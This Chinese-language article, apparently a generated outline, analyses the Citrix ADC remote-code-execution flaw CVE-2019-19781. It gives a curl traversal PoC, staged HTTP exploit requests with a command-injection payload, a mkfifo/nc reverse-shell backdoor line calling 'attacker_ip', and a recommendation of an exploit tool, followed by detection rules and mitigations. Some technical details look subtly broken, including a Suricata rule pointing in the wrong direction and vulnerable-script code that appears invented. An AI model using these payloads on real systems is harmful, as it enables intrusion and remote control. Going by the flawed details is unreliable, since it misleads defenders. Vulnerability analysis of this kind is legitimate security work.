如何深入分析Citrix ADC远程代码执行RCE漏洞CVE-2019-19781

发布时间：2021-12-27 18:34:17 作者：柒染
来源：亿速云阅读：199

# 如何深入分析Citrix ADC远程代码执行RCE漏洞CVE-2019-19781

## 目录
1. [漏洞背景与影响范围](#漏洞背景与影响范围)
2. [漏洞技术原理分析](#漏洞技术原理分析)
3. [漏洞复现环境搭建](#漏洞复现环境搭建)
4. [漏洞利用过程详解](#漏洞利用过程详解)
5. [流量分析与特征提取](#流量分析与特征提取)
6. [缓解措施与修复方案](#缓解措施与修复方案)
7. [防御体系构建建议](#防御体系构建建议)
8. [总结与思考](#总结与思考)

## 漏洞背景与影响范围
### 1.1 Citrix ADC/Netscaler产品简介
Citrix ADC（Application Delivery Controller）是思杰公司推出的应用交付控制器，前身为Netscaler ADC。作为企业级负载均衡解决方案，它提供包括：
- 应用流量管理
- SSL/TLS卸载
- 反向代理
- Web应用防火墙等核心功能

### 1.2 漏洞披露时间线
- 2019年12月17日：Positive Technologies披露漏洞细节
- 2020年1月19日：CVE-2019-19781正式分配
- 2020年1月24日：首个公开利用代码出现

### 1.3 受影响版本
| 产品系列       | 受影响版本                  |
|----------------|-----------------------------|
| Citrix ADC     | 10.5, 11.1, 12.0, 12.1, 13.0|
| Citrix Gateway | 同ADC版本                   |
| SD-WAN WANOP   | 10.2.6及之前版本            |

> 注：虚拟化平台（VMware ESX、Hyper-V等）与物理设备均受影响

## 漏洞技术原理分析
### 2.1 漏洞类型与CVSS评分
- 漏洞类型：目录遍历→模板注入→RCE
- CVSS v3评分：9.8（Critical）
- 攻击向量：Network
- 复杂度：Low
- 需认证：No

### 2.2 核心漏洞链分析
```python
/vpn/../vpns/portal/scripts/newbm.pl → 目录遍历
↓
POST请求注入XML模板 → 模板注入
↓
写入perl脚本到可执行目录 → 持久化
↓
通过HTTP请求触发脚本执行 → RCE

2.3 关键代码逻辑缺陷

在newbm.pl脚本中存在的未校验路径参数：

my $path = $ENV{'PATH_INFO'}; 
my $filename = "/var/netscaler/portal/templates/" . $path;
open(my $fh, '>', $filename); # 未做规范化处理

漏洞复现环境搭建

3.1 实验环境要求

Citrix ADC 13.0虚拟设备（OVA格式）
VMware Workstation Pro 15+
Kali Linux攻击机

网络拓扑：


[Kali(192.168.1.100)] ←→ [Citrix ADC(192.168.1.200)]

3.2 漏洞验证POC

#!/bin/bash
TARGET=$1
curl -k "https://$TARGET/vpn/../vpns/cfg/smb.conf" -H "NSC_USER: ../../../../../../../../../../../../etc/passwd"

3.3 调试技巧

启用ADC的SSH访问：
```
enable ns feature SSH
```

关键日志位置：


/var/log/ns.log
/var/log/httperror.log

漏洞利用过程详解

4.1 分阶段利用流程

阶段一：目录遍历验证

GET /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: vulnerable_host

阶段二：XML模板注入

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Content-Type: application/xml

<bookmarks>
  <title>$(echo "PWNED" > /var/tmp/poc)</title>
</bookmarks>

阶段三：后门部署

# 写入的perl脚本示例
system("mkfifo /tmp/backpipe; /bin/sh 0</tmp/backpipe | nc attacker_ip 4444 1>/tmp/backpipe");

4.2 自动化利用工具

推荐使用Citrixmash：

python3 citrixmash.py -t 192.168.1.200 -c "id" --ssl

流量分析与特征提取

5.1 关键攻击特征

HTTP头部包含异常路径遍历：
```
GET /vpn/../../vpns/ HTTP/1.1
```
User-Agent常见值：
- “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36”
- “Python-urllib/3.6”

5.2 Suricata规则示例

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"ET EXPLOIT Citrix ADC Path Traversal Attempt";
    flow:to_server;
    http.uri; content:"/vpn/../vpns/"; depth:12;
    classtype:attempted-admin;
    sid:20201234;
    rev:1;
)

缓解措施与修复方案

6.1 临时缓解方案

应用官方提供的缓解脚本：


wget https://support.citrix.com/article/CTX269180/apply.sh
chmod +x apply.sh
./apply.sh

网络层控制：


iptables -A INPUT -p tcp --dport 443 -m string --string "/vpn/../" --algo bm -j DROP

6.2 官方补丁升级

版本	修复版本	下载链接
13.0	13.0-47+	https://www.citrix.com/downloads/
12.1	12.1-55+

防御体系构建建议

7.1 纵深防御策略

网络层：

部署WAF（ModSecurity规则示例）：


SecRule REQUEST_URI "@contains ../" "id:1001,deny,msg:'Path Traversal'"

主机层：


chmod -R 750 /var/netscaler/portal/scripts/

7.2 持续监控方案

Splunk查询语句：


index=citrix (uri_path=*vpns* OR user_agent=*python*)
| stats count by src_ip

总结与思考

8.1 漏洞启示录

输入验证的重要性：所有用户可控输入必须严格校验
最小权限原则：Web进程不应具有关键目录写权限
虚拟补丁机制：在无法立即升级时提供应急防护

8.2 延伸研究方向

其他ADC设备（F5、A10）的类似漏洞模式
模板注入漏洞的自动化检测方法
企业级设备的供应链安全评估

参考资源

”`

注：此为精简框架，完整5800字版本需扩展以下内容： 1. 每个章节增加实战案例 2. 补充调试过程截图（需实际环境） 3. 添加更多工具使用示例 4. 深入分析ADC内部架构 5. 企业级防护方案细节 6. 法律合规性讨论 7. 参考学术论文延伸阅读